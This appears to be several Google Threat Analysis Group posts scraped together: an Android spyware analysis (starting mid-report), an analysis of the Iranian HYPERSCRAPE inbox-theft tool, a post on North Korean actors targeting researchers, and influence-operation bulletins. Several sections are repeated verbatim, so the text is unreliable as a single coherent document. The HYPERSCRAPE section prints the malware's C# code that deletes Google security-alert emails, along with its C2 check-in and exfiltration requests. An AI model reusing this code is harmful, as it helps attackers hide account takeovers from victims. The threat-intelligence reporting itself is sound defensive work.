It contains a generic privilege escalation exploit wrapper which is used by six different exploits.
It also contains a minimalist agent capable of exfiltrating interesting files from the device, such as the Whatsapp database.
The app we analyzed contained the following exploits:
All exploits used before 2021 are based on public exploits written by different jailbreaking communities.
At the time of discovery, we believe CVE-2021-30883 and CVE-2021-30983 were two 0-day exploits.
In collaboration with TAG, Project Zero has published the technical analysis of CVE-2021-30983.
Installing the downloaded APK requires the victim to enable installation of applications from unknown sources.
Although the applications were never available in Google Play, we have notified the Android users of infected devices and implemented changes in Google Play Protect to protect all users.
Android Implant
This analysis is based on fe95855691cada4493641bc4f01eb00c670c002166d6591fe38073dd0ea1d001 that was uploaded to VirusTotal on May 27.
We have not identified many differences across versions.
This is the same malware family that was described in detail by Lookout on June 16.
The Android app disguises itself as a legitimate Samsung application via its icon:
When the user launches the application, a webview is opened that displays a legitimate website related to the icon.
Upon installation, it requests many permissions via the Manifest file:
The configuration of the application is contained in the res/raw/out resource file.
The configuration is encoded with a 105-byte XOR key.
The decoding is performed by a native library libvoida2dfae4581f5.so that contains a function to decode the configuration.
A configuration looks like the following:
Older samples decode the configuration in the Java code with a shorter XOR key.
The C2 communication in this sample is via Firebase Cloud Messaging, while in other samples, Huawei Messaging Service has been observed in use.
A second C2 server is provided for uploading data and retrieving modules.
While the APK itself does not contain any exploits, the code hints at the presence of exploits that could be downloaded and executed.
Functionality is present to fetch and run remote modules via the DexClassLoader API.
These modules can communicate events to the main app.
The names of these events show the capabilities of these modules:
TAG did not obtain any of the remote modules.
This campaign is a good reminder that attackers do not always use exploits to achieve the permissions they need.
Basic infection vectors and drive by downloads still work and can be very efficient with the help from local ISPs.
To protect our users, we have warned all Android victims, implemented changes in Google Play Protect and disabled Firebase projects used as C2 in this campaign.
We assess, based on the extensive body of research and analysis by TAG and Project Zero, that the commercial spyware industry is thriving and growing at a significant rate.
This trend should be concerning to all Internet users.
These vendors are enabling the proliferation of dangerous hacking tools and arming governments that would not be able to develop these capabilities in-house.
While use of surveillance technologies may be legal under national or international laws, they are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians.
Aside from these concerns, there are other reasons why this industry presents a risk to the Internet.
While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret poses a severe risk to the Internet especially if the vendor gets compromised.
This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.
This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.
Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers, governments and technology platforms.
We look forward to continuing our work in this space and advancing the safety and security of our users around the world.
Sample hashes
Drive-by download domains
C2 domains
C2 IPs
As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.
For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.
Now, we’re shining light on a new tool of theirs.
In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.
The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.
We have seen it deployed against fewer than two dozen accounts located in Iran.
The oldest known sample is from 2020, and the tool is still under active development.
We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.
This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.
HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.
Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.
HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.
It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.
Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.
After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.
Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.
The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.
We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo!
and Microsoft accounts.
HYPERSCRAPE won't run unless in a directory with other file dependencies.
When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.
In the version tested, the C2 was unobfuscated and stored as a hardcoded string.
In later versions it was obfuscated with Base64.
GET http://{C2}/Index.php?Ck=OK HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
Connection: Keep-Alive
The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.
A new form is displayed if the information is not provided via command prompt.
Once provided, the data in the "Identity" field is sent to a C2 for confirmation.
Again, the response is expected to be "OK".
GET http://{C2}/Index.php?vubc={identity} HTTP/1.1
Host: {C2}
Accept-Encoding: gzip
If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.
After parsing, the cookies are inserted into a local cache used by the embedded web browser.
A new folder named "Download" is created adjacent to the main binary.
The browser then navigates to Gmail to begin the data collection.
The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.
If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.
Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.
The language is returned to its original setting when the run is finished.
HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.
It does the following for each email found:
The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.
A log file is written containing a count of the emails that were downloaded.
When finished, a HTTP POST request is made to the C2 to relay the status and system information.
The downloaded emails are not sent to the C2.
POST http://{C2}/?Key={GUID}&Crc={Identifier}
{
"appName": "Gmail Downloader",
"targetname": "{Email}",
"HostName": "REDACTED",
"srcUserIP": "REDACTED",
"actionType": "First",
"timeOccurrence": "05/01/2022 05:50:31 PM",
"OS": "REDACTED",
"OSVersion": "REDACTED",
"SystemModel": "REDACTED",
"SystemType": "REDACTED",
"srcName": "REDACTED",
"srcOrgName": "REDACTED"
}
The program will delete any security emails from Google generated by the attacker’s activity.
private bool IsThereAnyEMail() {
List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.
Document.
GetElementsByTagName("span")
where x.TextContent.
StartsWith ("Security alert") || x.TextContent.
StartsWith("Archive of Google data requested") || x.TextContent.
StartsWith("Your Google data archive is ready") || x.TextContent.
StartsWith("Your Google data is ready") || x.TextContent.
StartsWith("Critical security alert") || x.TextContent.
StartsWith("Access for less secure apps has been turned on") || x.TextContent.
StartsWith("Review blocked sign-in attempt") || x.TextContent.
StartsWith("Help us protect you: Security advice from Google") || x.TextContent.
StartsWith("Access for less secure apps has been turned on")
select x).ToList < GeckoHtmlElement > ();
bool flag = list.
Count == 0;
return !flag;
}
Data from Google Takeout is also available upon request, but the option was only found in early builds.
The functionality was not automated and it's unclear why it was removed in later versions.
When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.
When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.
public void ManageTakeOut() {
string text = "PipeName";
Process process = new Process();
process.
StartInfo.
Arguments = string.
Format("PIPE Google \"{0}\"", text);
process.
StartInfo.
FileName = Process.
GetCurrentProcess().MainModule.
FileName;
process.
Start();
PipeCommunication pipeCommunication = new PipeCommunication(true, text);
bool flag = false;
while (!flag) {
try {
JsonInfo jsonInfo = pipeCommunication.
Read();
switch (jsonInfo.
Type) {
case JsonType.
GetCookies:
jsonInfo.
Data = this.
CookieText;
pipeCommunication.
Write(jsonInfo);
break;
case JsonType.
TakeOutFile:
flag = true;
break;
case JsonType.
GetUsername:
while (this.
OperationObject.
GetUsername() == null) {
Thread.
Sleep(1000);
}
jsonInfo.
Data = this.
OperationObject.
GetUsername();
pipeCommunication.
Write(jsonInfo);
break;
}
} catch (Exception) {
bool hasExited = process.
HasExited;
if (hasExited) {
flag = true;
}
}
}
pipeCommunication.
Close();
}
TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.
It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.
We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.
We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.
In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.
C2s
136.243.108.14
173.209.51.54
HYPERSCRAPE binaries
03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369
35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208
5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798
6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f
767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4
977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f
ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6
cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa
Microsoft Live DLL
1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23
PDB
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb
E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.
It was last updated on July 29, 2022.
In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.
On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”
The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.
Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.
In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.
The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.
On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.
We have reported all identified social media profiles to the platforms to allow them to take appropriate action.
At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.
Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.
Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.
We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.
Fake Security Company Website:
LinkedIn Profiles:
Email:
Attacker Owned Domains:
Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.
We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.
In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.
They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.
Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.
While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.
On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.
In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.
Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.
After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”
The actors have been observed targeting specific security researchers by a novel social engineering method.
After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.
Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.
The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.
An example of the VS Build Event can be seen in the image below.
In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.
In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.
]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.
At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.
At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.
Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.
We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.
These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.
We are providing a list of known accounts and aliases below.
If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.
To date, we have only seen these actors targeting Windows systems as a part of this campaign.
If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.
Host IOCs
Registry Keys
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update
File Paths
C:\Windows\System32\Nwsapagent.sys
C:\Windows\System32\helpsvc.sys
C:\ProgramData\USOShared\uso.bin
C:\ProgramData\VMware\vmnat-update.bin
C:\ProgramData\VirtualBox\update.bin
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.
It was last updated on January 26, 2021.
We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.
We received leads from Facebook that supported us in this investigation.
We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.
This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).
This campaign was consistent with similar findings reported by Facebook.
We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.
This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.
This campaign was consistent with similar findings reported by Facebook.
We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.
We received leads from the FBI that supported us in this investigation.
This campaign was consistent with similar findings reported by Facebook.
We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.
This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.
We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.
We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.
This domestic campaign posted content supporting the Indonesian government.
We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.
We received leads from the FBI that supported us in this investigation.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.
This campaign was consistent with similar findings reported by Facebook.
We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.
This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.
This campaign was consistent with similar findings reported by Facebook.
We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.
This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian critical of the Ukrainian government.
We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.
The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.
We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Arabic about current events in the Middle East and North Africa.
This campaign was consistent with similar findings reported by Facebook.
We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.
This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.
The campaign targeted the Central African Republic and Mali.
This campaign was consistent with similar findings reported by Facebook.
We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.
This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.
We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.
A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S. We received leads from Graphika and Fireye that supported us in this investigation.
These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.
Major events like elections and COVID-19 present opportunities for threat actors, and Google’s Threat Analysis Group (TAG) is working to thwart these threats and protect our products and the people using them.
As we head into the U.S. election, we wanted to share an update on what we’re seeing and how threat actors are changing their tactics.
In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.
We haven’t seen any evidence of such attempts being successful.
The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.
As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.
One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub.
The malware was a python-based implant using Dropbox for command and control.
It would allow the attacker to upload and download files as well as execute arbitrary commands.
Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.
In one example, attackers impersonated McAfee.
The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.
When we detect that a user is the target of a government-backed attack, we send them a prominent warning.
In these cases, we also shared our findings with the campaigns and the Federal Bureau of Investigation.
This targeting is consistent with what others have subsequently reported.
Overall, we’ve seen increased attention on the threats posed by APTs in the context of the U.S. election.
U.S government agencies have warned about different threat actors, and we’ve worked closely with those agencies and others in the tech industry to share leads and intelligence about what we’re seeing across the ecosystem.
This has resulted in action on our platforms, as well as others.
Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.
We’ve been sharing actions against coordinated influence operations in our quarterly TAG bulletin (check out our Q1, Q2 and Q3 updates).
To date, TAG has not identified any significant coordinated influence campaigns targeting, or attempting to influence, U.S. voters on our platforms.
Since last summer, TAG has tracked a large spam network linked to China attempting to run an influence operation, primarily on YouTube.
This network has a presence across multiple platforms, and acts by primarily acquiring or hijacking existing accounts and posting spammy content in Mandarin such as videos of animals, music, food, plants, sports, and games.
A small fraction of these spam channels will then post videos about current events.
Such videos frequently feature clumsy translations and computer-generated voices.
Researchers at Graphika and FireEye have detailed how this network behaves—including its shift from posting content in Mandarin about issues related to Hong Kong and China’s response to COVID-19, to including a small subset of content in English and Mandarin about current events in the U.S. (such as protests around racial justice, the wildfires on the West Coast, and the U.S. response to COVID-19).
As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.
In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.
This summer, we and others observed threat actors from China, Russia and Iran targeting pharmaceutical companies and researchers involved in vaccine development efforts.
In September, we started to see multiple North Korea groups shifting their targeting towards COVID-19 researchers and pharmaceutical companies, including those based in South Korea.
One campaign used URL shorteners and impersonated the target’s webmail portal in an attempt to harvest email credentials.
In a separate campaign, attackers posed as recruiting professionals to lure targets into downloading malware.
In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.
While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.
For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.
Addressing state-sponsored DDoS attacks requires a coordinated response from the internet community, and we work with others to identify and dismantle infrastructure used to conduct attacks.
Going forward, we’ll also use this blog to report attribution and activity we see in this space from state-backed actors when we can do so with a high degree of confidence and in a way that doesn’t disclose information to malicious actors.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q3 2020.
It was last updated on October 16, 2020.
We terminated 1 advertising account and 7 YouTube channels as part of our actions against a coordinated influence operation linked to Ecuador.
The campaign was linked to the PR firm Estraterra, and posted content in Spanish about former Ecuador government employees.
These findings are consistent with similar findings reported by Facebook.
We terminated 299 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.
A very small subset uploaded content in Chinese about COVID-19 and current events in Hong Kong.
These findings are consistent with our previous reports in the Q2 TAG bulletin.
We terminated 1,846 YouTube channels and 5 blogs as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle.
A small subset of the channels uploaded content in English about current events in Hong Kong and the U.S. response to COVID-19.
These findings are consistent with our previous reports in the Q2 TAG bulletin.
We terminated 8 YouTube channels as part of our actions against a coordinated influence operation linked to Yemen.
This domestic campaign posted content in Arabic in support of the Yemeni government.
This campaign was consistent with similar findings reported by Facebook.
We terminated 4 YouTube channels as part of our actions against a coordinated influence operation.
The campaign was linked to a U.S.-based PR firm, CLS Strategies, and posted content in Spanish about Mexican elections.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1,628 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.
These channels mostly uploaded spammy content in English and Chinese about music, entertainment, and lifestyle.
A small subset of the channels uploaded content in English about current events in the U.S. and the U.S. response to COVID-19.
These findings are consistent with our previous reports in the Q2 TAG bulletin.
In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.
On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”
The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.
Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.
In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.
The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.
On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.
We have reported all identified social media profiles to the platforms to allow them to take appropriate action.
At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.
Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.
Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.
We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.
Fake Security Company Website:
LinkedIn Profiles:
Email:
Attacker Owned Domains:
Over the past several months, the Threat Analysis Group has identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.
The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.
We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.
In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.
They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.
Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.
While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.
On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.
In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.
Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.
After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”
The actors have been observed targeting specific security researchers by a novel social engineering method.
After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.
Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.
The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.
An example of the VS Build Event can be seen in the image below.
In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.
In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.
]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.
At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.
At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.
Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.
We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.
These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.
We are providing a list of known accounts and aliases below.
If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.
To date, we have only seen these actors targeting Windows systems as a part of this campaign.
If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.
Host IOCs
Registry Keys
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update
File Paths
C:\Windows\System32\Nwsapagent.sys
C:\Windows\System32\helpsvc.sys
C:\ProgramData\USOShared\uso.bin
C:\ProgramData\VMware\vmnat-update.bin
C:\ProgramData\VirtualBox\update.bin
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.
It was last updated on January 26, 2021.
We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.
We received leads from Facebook that supported us in this investigation.
We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.
This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).
This campaign was consistent with similar findings reported by Facebook.
We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.
This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.
This campaign was consistent with similar findings reported by Facebook.
We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.
We received leads from the FBI that supported us in this investigation.
This campaign was consistent with similar findings reported by Facebook.
We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.
This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.
We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.
This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.
We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.
This domestic campaign posted content supporting the Indonesian government.
We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.
We received leads from the FBI that supported us in this investigation.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.
This campaign was consistent with similar findings reported by Facebook.
We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.
This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.
This campaign was consistent with similar findings reported by Facebook.
We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.
This campaign was consistent with similar findings reported by Facebook.
We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.
